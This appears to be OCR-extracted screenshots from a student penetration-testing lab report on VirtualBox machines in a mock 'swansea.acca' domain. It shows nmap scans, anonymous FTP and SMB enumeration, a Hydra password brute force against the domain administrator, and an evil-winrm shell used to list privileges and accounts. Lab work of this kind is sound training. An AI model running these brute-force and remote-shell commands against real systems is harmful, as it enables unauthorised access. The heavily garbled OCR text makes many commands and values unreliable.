49665/tcp open msrpc Microsoft Windows RPC

49666/tcp open msrpc Microsoft Windows RPC

49667/tcp open msrpc Microsoft Windows RPC

49668/tcp open msrpc Microsoft Windows RPC

51313/tcp open msrpc Microsoft Windows RPC

57557/tcp open ncacn_http  Microsoft Windows RPC over HTTP 1.0
57558/tcp open msrpc Microsoft Windows RPC

57564/tcp open msrpc Microsoft Windows RPC

57565/tcp open msrpc Microsoft Windows RPC

57569/tcp open msrpc Microsoft Windows RPC

57590/tcp open msrpc Microsoft Windows RPC

57597/tcp open msrpc Microsoft Windows RPC

57598/tcp open msrpc Microsoft Windows RPC

MAC Address: 08:00:27:56:96:74 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Device type: general purpose
Running: Microsoft Windows 2022

05 CPE: cpe:/o:microsoft:windows server_2022

05 details: Microsoft Windows Server 2022

Network Distance: 1 hop

Service Info: Host: S-DC; 0S: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

| smb2-security-mode:

I 3:1:1:

|_  Message signing enabled and required

| smb2-time:

| date: 2026-04-13T21:11:12

|_ start_date: N/A

| _clock-skew: mean: 9h43méds, deviation: 3h30m@@s, median: 7h58m39s
|_nbstat: NetBIOS name: S-DC, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:56:96:74 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
| smb-os-discovery:

| 0S: Windows Server 2022 Datacenter 20348 (Windows Server 2022 Datacenter 6.3)
|

I

I

|

I

I_

|

|

|

|

I_

Computer name: 5-DC
NetBIOS computer name: S-DC\x@0
Domain name: swansea.acca
Forest name: swansea.acca
FQDN: S-DC.swansea.acca
System time: 2026-04-13T14:11:12-87:00
smb-security-mode:
account_used: guest |
authentication_level: user

challenge_response: supported
message_signing: required

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 191.86 seconds

‘ 14°C
Light rain

B 0¥ EF ¢ mOe S @ Hright i

1416
13/04/2026

@ mmo@e

H Q Search A @6 ® 2 x@&D





image10.png
T kali-linux-2025.4-virtualbox-amd64 [Running] - Oracle VirtualBox — o X

File Machine View Input Devices Help
2026-04-13

Beap o [ SN MR o | @ C
= Iali@lali: ~ [x]
Session Actions Edit View Help

,:{kaliekali)fb]

$ nmap -s5 -sV -sC -0 -p- —open -T4 192.168.1.10

Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-13 @9:19 EDT

Nmap scan report for 192.168.1.10

Host is up (0.0026s latency).

Not shown: 64849 closed tcp ports (reset), 673 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to —defeat-rst-ratelimit
PORT STATE SERVICE VERSION

135/tcp  open msrpe Microsoft Windows RPC

139/tcp open netbios-ssn  Microsoft Windows netbios-ssn

445/tcp  open microsoft-ds?

5040/tcp open unknown

5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

| _http-title: Service Unavailable

| _http-server-header: Microsoft-HTTPAPI/2.0

49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49698/tcp open msrpc Microsoft Windows RPC
49710/tcp open  msrpc Microsoft Windows RPC
MAC Address: 88:00:27:C5:39:C7 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Device type: general purpose
Running: Microsoft Windows 10

0S CPE: cpe:/o:microsoft:windows_10

05 details: Microsoft Windows 10 1709 - 21H2

Network Distance: 1 hop

Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
smbZ-security-mode:
3:1:1:
Message signing enabled but not reguired
nbstat: NetBIOS name: CLIENTS1, NetBIOS user: <unknown>, NetBIOS MAC: @8:88:27:c5:39:c7 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
clock-skew: -1s
smb2-tim
date: 2026-04-13T13:22:30
start_date: N/A

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 204.42 seconds
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$ nmap -s5 -sV -sC -0 -p- —open -T4 192.168.2.8/24

Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-13 09:24 EDT

Nmap scan report for 192.168.2.1

Host is up (0.0019s latency).
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to —defeat-rst-ratelimit

PORT ~ STATE SERVICE VERSION
22/tcp open  ssh OpenSSH 10.@p2 Debian 7 (protocol 2.8)

Warning: 0SScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive 0S guesses: Linux 4.15 - 5.19 (97%), Linux 4.19 (97%), Linux 5.@ - 5.14 (97%), OpenWrt 21.82 (Linux 5.4) (97%), MikroTik Router0S 7.2 - 7.5 (Linux 5.6.3) (97%), Linux 6.0 (94%), Linux 5.4 - 5.10 (91%), Linux 2.6.32 (91%), Linux

2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%)
No exact OS matches for host (test conditions non-ideal).
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (2 hosts up) scanned in 204.80 seconds
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$ ftp 192.168.1.1

Connected to 192.168.1.1.

220-Microsoft FTP Service

220 Welcome to SWANSEA.ACCA Network!!!!

Name (192.168.1.1:kali): anonymous

331 Anonymous access allowed, send identity (e-mail name) as password.
Password:

230-Share your work files here!!!

230 User logged in.

Remote system type is Windows_NT.

ftp> 1s

229 Entering Extended Passive Mode (11151443])

125 Data connection already open; Transfer starting.

29-25-25 02:52PM 67 accb60e0. txt
09-25-25 03:08PM 10 important_file.txt
29-25-25 03:11PM 10 new_important_file.txt
09-25-25 12:39PM 32 test.txt

226 Transfer complete.
ftp> get acch@Bd.txt

local: acch6@@@.txt remote: acch0OO.txt

229 Entering Extended Passive Mode (I]]51444])

125 Data connection already open; Transfer starting.

B B e et et T T 67 1.46 KiB/s 00:00 ETA
226 Transfer complete.

67 bytes received in 00:00 (1.42 KiB/s)

ftp> get importantf_file.txt

local: importantf_file.txt remote: importantf_file.txt

229 Entering Extended Passive Mode (I]1514451)

550 The system cannot find the file specified.

ftp> get important_file.txt

local: important_file.txt remote: important_file.txt

229 Entering Extended Passive Mode (111514461)

125 Data connection already open; Transfer starting.

B 10 0.21 KiB/s  00:00 ETA
226 Transfer complete.

10 bytes received in 00:00 (0.20 KiB/s)

ftp> get new_important_file.txt

local: new_important_file.txt remote: new_important_file.txt

229 Entering Extended Passive Mode (I]/514471)

125 Data connection already open; Transfer starting.

B B et T et T T T T T 10 3.66 KiB/s 00:00 ETA
226 Transfer complete.

10 bytes received in 00:00 (3.01 KiB/s)

ftp> get test.txt

local: test.txt remote: test.txt

229 Entering Extended Passive Mode (I11514481)

125 Data connection already open; Transfer starting.

B 32 58.41 KiB/s  00:00 ETA
226 Transfer complete.

32 bytes received in 00:00 (42.92 KiB/s)

ftp> Il
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$ smbclient -L //192.168.1.1 -N
Sharename Type Comment
ADMING Disk Remote Admin
s Disk Default share
IPCH IPC Remote IPC
NETLOGON Disk Logon server share
SYSvOL Disk Logon server share
VShare Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.1.1 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 — no workgroup available
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,:{kali@kali)fb]
$ smbclient -L //192.168.1.1 -N
Sharename Type Comment
ADMINS Disk Remote Admin
3 Disk Default share
IPCH IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
VShare Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.1.1 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 — no workgroup available
E{Iﬂli@lﬂli)*[ﬂ
§ smbclient //192.168.1.1/vShare -N
Try "help" to get a list of possible commands.
smb: \> s
3 D 0 Fri Sep 26 17:49:12 2025
= D 0 Fri Sep 26 17:44:58 2025
New folder D 0 Fri Sep 26 17:49:12 2025
test.txt A 27 Fri Sep 26 17:44:58 2025
15515647 blocks of size 4096. 18920164 blocks available
smb: \> gest test.txt
gest: command not found
smb: \> get test.txt
getting file \test.txt of size 27 as test.txt (2.9 KiloBytes/sec) (average 2.9 KiloBytes/sec)
smb: \> exit
r(kﬂliskﬂli)—[']
$ smbclient //192.168.1.1/SYSVOL -N_
Try "help” to get a list of possible commands.
smb: \> LS
NT_STATUS_ACCESS_DENIED listing \x
smb: \> Il
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[ {kali® kali)-[-]
§ hydra -1 administrator -P /tmp/lab_passwords.txt \
smb://192.168.1.1 -t 1 -V

Hydra ve.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these s« ignore laws and ethics anyway)

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-94-13 10:52i11
[ERROR] File for passwords not found: /tmp/lab_passwords.txt
O
§ cat > /tmp/lab_passwords.txt << 'EOF
Password1
Passwordizs
Admin13
melcomel
Password

NotebooKg123
Administratorl
P@sswerd
Summerz025
winterzess
Swanseal1?3
SWANSEA1Z3
admin
Admingi23
EoF

[ {kali® kali)-[-]
§ hydra -1 administrator -P /tmp/lab,
/192.168.1.1 -t 1 -

asswords. txt \

Hydra ve.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these w ignore laws and ethics anyway)
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-13 10:52:40

[WARNING] Restorefile (you have 18 seconds to abort ... (use option -T to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore

[0ATA] max 1 task per 1 server, overall 1 task, 14 login tries (1:1/p:14), ~14 tries per task

[paTA] attacking smb://192.168.1.1:445/

[ATTEMPT] target 192.168.1.1 - login “administrator®
[ATTEMPT] target 192.168.1.1 - login "administrator”
[ATTEMPT] target 192.168.1.1 - login “administrator”
[ATTEMPT] target 192.168.1.1 - login "administrator”
[ATTEMPT] target 192.168.1.1 - login “administrator’ - pass “Password” - 5 of 14 [child e] (e/e)
[ATTEMPT] target 192.165.1.1 - login "administrator® - pass “Notebookd123" - & of 14 [child @] (a/a)
[445][smb] host: 192.168.1.1 login: administrator password: WotebooKai2s

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-13 10:52:51

pass “Passwordi® - 1 of 14 [child ] (e/e)
pass "Password123” - 2 of 1& [child 8] (8/e)
pass "Adminiz3® - 3 of 14 [child o] (o/e)
pass "Welcomel® - & of 14 [child @] (8/8)
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[ {kali® kali)-[-]
$ smbclient //192.168.1.1/C$ -U administrator¥Notebookgl23

Try "help” to get a list of possible commands.
smb: \> 1s

$Recycle.Bin DHS @ Sat May & 2021
Documents and settings onsrn o wed Sep 26 2025
DumpStack.log A 12288 Thu Mar 26 2026
oumpstack.log. tmp AHS 12288 Mon Apr 13 2026
FTPRoot o @ Thu Sep 25 2025
inetpub 0 @ Thu sep 25 2025
new_important_file.txt A 18 Thu Sep 25 2025
pagefile.sys AHS 2550136832 MOn Apr 13 16348143 2026
Perflogs o @ Sat May & o 2021
program Files oR o Thu apr 2 1. 2026
Program Files (x86) o @ Fri Sep 26 10:59:87 2025
Programoata oHn o Thu apr 2 1. 1 2026
Recovery DHSn 8 Wed Sep 24 1 3 2025
shares 0 © Frisep 26 1 8 2025
StorageReports o @ Wed Sep 24 1 7 2025
system volume Information oHs o Fri sep 26 1. 3 2025
Users, oR @ Wed Sep 24 1 4 2025
windows 0 ® Thu Mar 26 1. 3 2026

15515647 blocks of size 4096. 10887789 blocks available
smb: \> cd Windows
\windows\> 1z

. o ® Thu Mar 26
> oHs o Thu apr 2
ADFS o T ED
aows 0 o wed Sep 26
appcompat o o sat May &
apppatch 0 o Friaug 8
AppReadiness o 8 Wed Sep 24
assembly oR o wed Sep 26
Azurearcsetup o o FriAug &
bcastdvr 0 o sat may 8
bfsvc.exe A 114688 Fri Aug &
Boot 0 o Friaug 8
bootstat.dat As 67584 Mon Apr 13
sranding 0 o sat may 8
Browsercare o o FriAug &
chsTemp 0 ® Mon Apr 13
Containers o o sat May &
cursors 0 o sat may 8
debug o @ Mon Apr 13
diagnostics 0 o sat may 8
DiagTrack o @ Sat May &
pigitaliocker 0 o sat may 8
DirectAccess o 8 Wed Sep 24
Downloaded Program Files os o sat may 8
drivers o @ Sat May &
ptcrnstall.log A 2327 wed Sep 24
ELAMBKUP o1 o sat May &
en-us 0 o sat may 8
explorer.exe A 4835944 Fri Aug &
Fonts oSk o Friaug 8
Globalization o @ Sat May &
Help 0 o wed Sep 26
HelpPane.exe A 1097728 Fri Aug &
hh.exe A 36864 Sat May &
TdentityCRL o @ Sat May &
iis.log A 87619 Thu sep 25
e o o FriAug &
Inmersivecontrolranel oR o wed sep 26
™E o ® Mon Apr 13
Inputmethod 0 o sat may 8
Installer DHS @ Thu Apr 2
L2schemas 0 o sat may 8
LiveKernelReports o @ Thu Sep 25
Logs 0 o wed sep 26
1sasetup.log A 1380 Wed Sep 24
media 0 o sat may 8
MEMORY . DMP A 572473628 Thu Mar 26 13:4
mib.bin A 43131 sat May & @

BOXT MO Y @Krigh: il

15:56

AN 8RN

&
Mostly cloudy





image22.png
O kali-linux-2025.4-virtualbox-amd64 [Running] - Oracle VirtualBox = o X

File Machine View Input Devices Help

Bempor| 23 ¢|0 =

2026-04-13

Ts | @ @
kali@kali: ~ [x]

Session Actions Edit View Help

[ {kali® kali)-[-]
$ evil-winrm -1 192.168.1.1 -u administrator -p 'Motebookgl2s

EVil-winRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method "quoting_detection_proc’' for module Reline

pata: For more infor Remote-path-completion

ation, check Evil-winRM GitHub: https://github.com/Hackplaye:

Info: Establishing connection to remote endpoint
*E 7. PS Ci\Users\Administrator\Documents> whoami
swansea\administrator

S50 S0. PS CivUsers\Administrator\Documents> whoami /priv

PRIVILEGES INFORMATION

Privilege Wame pescription state
seIncreasequotaprivilege adjust memory quotas for a process enabled
SeMachineAccountPrivilege Add workstations to domain Enabled
sesecurityprivilege mManage auditing and security log Enabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
seLoadoriverprivilege Load and unload device drivers enabled
SeSystemProfilePrivilege Profile system performance Enabled
sesystemtimeprivilege change the system time enabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreasesasepriorityprivilege Increase scheduling priority enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
sesackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
seshutdownprivilege shut down the system enabled
SeDebugPrivilege Debug programs Enabled
sesystemenvironmentprivilege modify firmeare environment values enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
seremoteshutdownprivilege Force shutdown from a remote system Enabled
SeUndockPrivilege Remove computer from docking station Enabled
seEnablenelegationprivilege Enable computer and user accounts to be trusted for delegation enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication enabled
SeCreateGlobalPrivilege Create global objects Enabled
seIncreaseworkingseterivilege Increase a process working set enabled
SeTimeZonePrivilege Change the time zone Enabled
secreatesymbolicLinkprivilege create symbolic links Enabled

SedelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
“ioil-iiions s cr\users\administrator\Documents> net user

user accounts for \\

Administrator ftpuser Guest
krbtgt nitheesh users
The command completed with one or more errors.

“f0iliinie PS Ci\Users\Administrator\Documents> net localgroup administrator
net.exe : System error 1376 has occurred.
+ CategoryInfo : MotSpecified: (System error 1376 has occurred.:String) [], RemoteException
+ Fullyqualifiederrorrd : nativecommanderror
SZo0liis Ps Ci\Users\Administrator\Documentss net localgroup administrators

Alias name administrators

Comment. Administrators have complete and unrestricted access to the computer/domain
Members

Administrator

Domain Admins
Enterprise Admins
The command completed successfully.

“f.ilwimie P Ci\Users\Administrator\Documentss [
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+ FullyqualifiedErrorid : MativeCommandError

“foilowinis ps Ci\users\administrator\Documents> net localgroup administrators
Alias name administrators

comment Administrators have complete and unrestricted access to the computer/domain
Members

Administrator

Domain Admins
Enterprise Admins

The command completed successfully.

“ooiloninnas s ci\users\Administrator\Documents> net user administrator

user name
Full name

Comment

user’s comment
Country/region code
Account active
Account expires

Password last set
Password expires
Password changeable
password required

user may change password

Workstations allowed
Logon script

user profile

Home directory

Last logon

Logon hours allowed

Local Group Memberships
Global Group memberships

Administrator
Built-in account for administering the computer/domain

000 (System Default)
ves
Mever

24/09/2025 08104116
never

24/09/2025 08104116
ves

Yes

ALl

13/04/2026 15:11:22
ALl

*Administrators

*Enterprise Admins
*Domain Admins
+Domain Users

~Group Policy Creator
*Schema Admins

The command completed successfully.

“E0loninfie PS Ci\Users\Administrator\Documents> dir C

pirsctory: ci\

Mode LastwriteTime Length Name
— 9/25/2025  3i11 PM FTPROOL

4 9/25/2025 am inetpub

d 5/8/2021 am perflogs

dor— 4/2/2026 am Program Files

d 9/26/2025 an Program Files (x86)
4 9/26/2025 P shares

d 9/24/2025 an StorageReports

dor— 9/24/2025 am users

d &/13/2026 P Windows

—a— 3/26/2026 am 12288 Dumpstack.log

- — 9/25/2025 M 10 new_important_file.txt

“nis s Cr\users\Administrator\Documents> net accounts

Force user logoff how long after time expires?: Wever
Minimum password age (days o

Maximum password age (days unlimited
minimum password length: 4

Length of password history maintained: Wone
Lockout threshold: never
Lockout duration (minutes): o

Lockout observation window (minutes): 0
Computer role: PRIMARY

The command completed successfully.

‘ 13°C
Light rain

i+ Ps Ci\users\Administrator\Documents> [

== Q search

aEmo@oes0a0cm =n I

2026-04-13
11:53

|a e
(]

B O0»%ET ¢ EEE Y @Krigh: il

~A 6 @

2 dx &

16:53
13/04/2026




image1.png
Y Prifysgol Cymru
Y Drindod Dewi Sant

LN/ University of Wales
Trinity Saint David





image2.png
T L-CD [Running] - Oracle VirtualBox

File

Machine

View Input Devices Help

londonlogin@L-CD:™% ip a

1:

lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 gdisc nogueue state UNKNOWN group default glen 1000
link/loopback 60:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
ineté = /128 scope host noprefixroute
valid_lft forever preferred_lft forever

© enp@s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 gdisc fg_codel state UF group default glen 1668

linksether 08:00:27:27:68:c3 brd ff:ffiffoff:ff:ff

altname enx@800272768c3

inete oo /64 scope global dynamic mngtmpaddr noprefixroute
valid_lft 86374sec preferred_lft 14374sec

inete oo oo oot e /64 scope link
valid_lft forever preferred_lft forever

: enp@sB: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1560 gdisc fg_codel state UF group default glen 1668

links/ether 08:00:27:90:48:86 brd ff:ff:ffff:ff:ff

altname enx9B80027304886

inet 192.168.56.7/24 brd 192.1608.56.255 scope global enposg
valid_lft forever preferred_lft forever

inete oo ooooo oo /64 scope link proto kernel_11
valid_lft forever preferred_lft forever

: enp@s9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 gdisc fg_codel state UP group default glen 1668

linksether 08:00:27:5e:c3:c7 brd ff:ffiffoffffoff

altname enx@800275ec3c?

inet 20.0.0.2/24 brd 20.0.0.255 scope global enp@s9
valid_lft forever preferred_lft forever

ineteé oo oo /64 scope link proto kernel_11
valid_lft forever preferred_lft forever

1 enp@slo: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1508 gdisc fg_codel state UP group default glen 1668

linksether 08:00:27:e4:8c:e2 brd ff:ffiffoff:ff:ff

altname enx@80027ed8ce2

inet 192.168.2.1/24 brd 192.168.2.255 scope global enposio
valid_lft forever preferred_lft forever

inete oo ooooo oo /64 scope link proto kernel_11
valid_lft forever preferred_lft forever

londonlogin@L-CD: ™% _
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C:\Users\Administrator>ipconfig /all
Windows IP Configuration

Host Name . - -
Primary Dns Suffix
Node Type . . . . .
IP Routing Enabled.
WINS Proxy Enabled. . .
DNS Suffix Search List.

Ethernet adapter Internet:

Connection-specific DNS Suffix
Description

Physical Address.

DHCP Enabled. - - -
Autoconfiguration Enabled
IPv6 Address. . . . . .
Link-local IPv6 Address
IPv4 Address.

Subnet Mask .

Lease Obtained.

Lease Expires

Default Gateway .

DHCP Server .
DHCPv6 IAID . . . .
DHCPv6 Client DUID.
DNS Servers

NetBIOS over Tcpip.

Ethernet adapter IntSwa:

Connection-specific DNS Suffix
Description
Physical Address.
P Enabled. - - -
oconfiguration Enabled

“'1rc
Light rain

: S-DC

Swansea.acca

: Hybrid
: No
: No

swansea.acca
Home

: Home

Intel(R) PRO/1000 MT Desktop Adapter

: 08-00-27-1A-80-9D

: Yes

: Yes

: £d17:625c:1037:2:cfd@:7c37:27cc:3d7(Preferred)
: fe80::e147:b674:a231:8284%7 (Preferred)

10.0.2.15(Preferred)
255.255.255.0

13 April 2026 13:48:47
14 April 2026 13:48:47

: fe80::2%7

16.0.2.2
16.0.2.2
161187623

: ©0-01-00-01-30-66-31-06-08-00-27-1A-80-9D

= =al
127.0.06.1
Enabled

Intel(R) PRO/1000 MT Desktop Adapter #2

: 08-00-27-56-96-74
: No
: Yes
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